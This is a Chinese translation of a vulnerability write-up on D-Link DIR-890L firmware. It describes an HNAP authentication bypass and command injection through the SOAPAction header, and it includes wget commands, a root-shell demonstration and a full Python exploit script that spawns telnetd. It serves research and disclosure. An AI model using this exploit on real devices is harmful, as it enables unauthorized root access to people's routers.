Hacking the D-Link DIR-890L

0x00 简介

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from:http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/

之前的6个月，D-Link都不断使坏，把我整的晕头转向。今天我想找些乐子，登陆他们的网站，结果就看到了惨不忍睹的一幕：

D-Link’s $300 DIR-890L router

这个路由器上运行的固件有很多bug，而最变态的地方在于，它居然跟D-link多年来在各种路由器上使用的固件一模一样。点我看小视频

0x01 开始分析

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按照惯例，我们先获取最新版本的固件，然后使用binwalk来分析它，可以看到以下的信息：

DECIMAL   HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
116   0x74LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
1835124   0x1C0074PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
1835156   0x1C0094Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37

貌似这是个非常标准的linux固件镜像。只要你在过去的几年里分析过任何一个D-Link的固件，没准就会知道以下的目录结构：

#!bash
$ ls squashfs-root
bin  dev  etc  home  htdocs  include  lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www

和HTTP/UPnP/HNAP有关的所有文件都存放在htdocs目录下。其中cgibin文件最有意思，这是一个ARM ELF格式的二进制文件，将被WEB服务器执行，所有CGI,UPnP和HNAP的功能都通过软连接指向这个程序。

#!bash
$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

这玩意错综复杂，不过没关系，有了字符串就可以找到每个功能对应的函数了。
程序首先会把argv[0]参数和软连接的名称作比较，来决定要执行什么样的动作。（argv[0]是由软链接的名称来决定的，比如WEB服务器执行htdocs/web/captcha.cgi -> /htdocs/cgibin的话，cgibin获得到的argv[0]就会包含catpcha.cgi，那么程序就可以跳到catpcha的功能函数当中执行）

“Staircase” code graph, typical of if-else statements

每个软连接名称都是通过strcmp函数来比较的：

Function handlers for various symlinks

这样一来， 我们很容易就可以通过符号链接的名称来找到对应的函数功能代码，然后给它重新起个合适的名字：

Renamed symlink function handlers

既然发现了这些函数，那我们就开始找bug吧！

其他的一些D-Link设备，同样也运行这个固件，他们的HTTP和UPnP接口已经被发现存在漏洞。然而，HNAP接口（存在于cgibin中的hnap_main函数）似乎一直被忽视。

HNAP(家庭网络管理协议)是一个基于SOAP的协议，类似UPnP，它广泛应用于D-Link的"EZ"安装模块，用来对路由器进行初始化配置。然而和UPnP不同的是，除了GetDeviceInfo(基本没用的函数)之外，所有的HNAP功能，都需要HTTP基础认证：

POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
   <PortMappingDescription>foobar</PortMappingDescription>
   <InternalClient>192.168.0.100</InternalClient>
   <PortMappingProtocol>TCP</PortMappingProtocol>
   <ExternalPort>1234</ExternalPort>
   <InternalPort>1234</InternalPort>
  </AddPortMapping>
 </soap:Body>
</soap:Envelope>

SOAPAction头在HNAP请求中特别重要，因为它指定了HNAP所要进行的操作。（以上这个请求执行的是AddPortMapping这个功能）
由于web服务器将cgibin作为CGI来执行，所以hnap_main函数可以通过环境变量访问到HNAP的请求数据，比如SOAPAction头：

SOAPAction = getenv(“HTTP_SOAPACTION”);

在接近函数末尾的部分，程序使用了sprintf函数动态构造一条shell命令，这条命令将被传入system函数执行：

sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);

很明显，hnap_main使用了请求头中的SOAPAction头作为系统命令的一部分！如果SOAPAction头没有被过滤，而且进入的这段函数不需要认证，那么这很有可能是一个命令注入的bug。

回到hnap_main函数的开头，程序首先检查SOAPAction头是否为http://purenetworks.com/HNAP1/GetDeviceSettings，如果是，则跳过认证。这是我们预料之中的，并且我们已经确定，GetDeviceSettings功能是不需要认证的。

if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)

然而，可以注意到，strstr被用于字符串检查，这就表明了，SOAPAction头只要包含http://purenetworks.com/HNAP1/GetDeviceSettings字符串，就可以通过检查，绕过认证。
所以，如果SOAPAction头包含字符串http://purenetworks.com/HNAP1/GetDeviceSettings，代码将会从请求头中解析出Action的名称（例如GetDeviceSettings）并且会移除字符串最后的双引号。

SOAPAction = strrchr(SOAPAction, ‘/’);

上图代码会解析出Action名（类似GetDeviceSettings），它将被带入sprintf函数，构造出被system执行的命令。
以下的C语言代码可以帮助大家进一步了解程序中的逻辑错误：

#!c
/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");

/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
    /* do auth check */
}

/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
    /* Point the SOAPAction pointer one byte beyond the last forward slash */
    SOAPAction += 1;

    /* Get rid of any trailing double quotes */
    if(SOAPAction[strlen(SOAPAction)-1] == '"')
    {
        SOAPAction[strlen(SOAPAction)-1] = '\0';
    }
}
else
{
    goto failure_condition;
}

/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);

以下是这个漏洞产生的两个重要原因：
1.如果SOAPAction头包含http://purenetworks.com/HNAP1/GetDeviceSettings字符串，那么就不需要认证。
2.程序会将SOAPAction头中最后一个/后的字符串被带入sprintf构造shell命令，并且调用system函数进行执行。
因此，我们很容易就可以构造出一个SOAPAction报头，既可以绕过认证，又可以将任意命令带入系统执行：

SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

将reboot命令替换成telnetd，就可以开启路由器的telnet服务，获得一个无需认证的root权限shell：

#!bash
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.


BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

如果开启了远程管理功能，HNAP请求将向WAN开放，这就使远程利用成为可能。当然，路由器的防火墙将阻断来自WAN的telnet连接。有一个简单的解决办法，就是结束HTTP服务器进程，将telnet服务器的端口设置成和HTTP服务器相同：

#!bash
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.


BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

wget请求将会被挂起，因为cgibin会等待telnetd返回。下面是用Python写的一个利用程序：

#!python
#!/usr/bin/env python

import sys
import urllib2
import httplib

try:
    ip_port = sys.argv[1].split(':')
    ip = ip_port[0]

    if len(ip_port) == 2:
        port = ip_port[1]
    elif len(ip_port) == 1:
        port = "80"
    else:
        raise IndexError
except IndexError:
    print "Usage: %s <target ip:port>" % sys.argv[0]
    sys.exit(1)

url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
#       any port; killing the http server and re-using its port
#       is not necessary.
#
#       Killing off all hung hnap processes ensures that we can
#       re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
            "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
          }

req = urllib2.Request(url, None, headers)
try:
    urllib2.urlopen(req)
    raise Exception("Unexpected response")
except httplib.BadStatusLine:
    print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
    print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
    sys.exit(0)
except Exception:
    print "Received an unexpected response from the server; exploit probably failed. :("

0x02 结语

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我已经在v1.00和v1.03版本的固件上进行了测试（v1.03版本的固件为截至目前的最新版本），都存在漏洞。那么其他设备是否也存在同样的漏洞呢？
分析所有设备固件很乏味，所以我将这个漏洞交给Centrifuge团队，这个团队拥有一套自动分析系统。他们发现至少以下这些设备存在漏洞：

• DAP-1522 revB
• DAP-1650 revB
• DIR-880L
• DIR-865L
• DIR-860L revA
• DIR-860L revB
• DIR-815 revB
• DIR-300 revB
• DIR-600 revB
• DIR-645
• TEW-751DR
• TEW-733GR

据我所知，HNAP协议在任何设备上都无法被禁用。

更新：
这个漏洞似乎在今年早些时候被Samuel Huntly发现，但是只在DIR-645被报告和修复。这个补丁看起来很傻比，所以我们还是期待后续吧。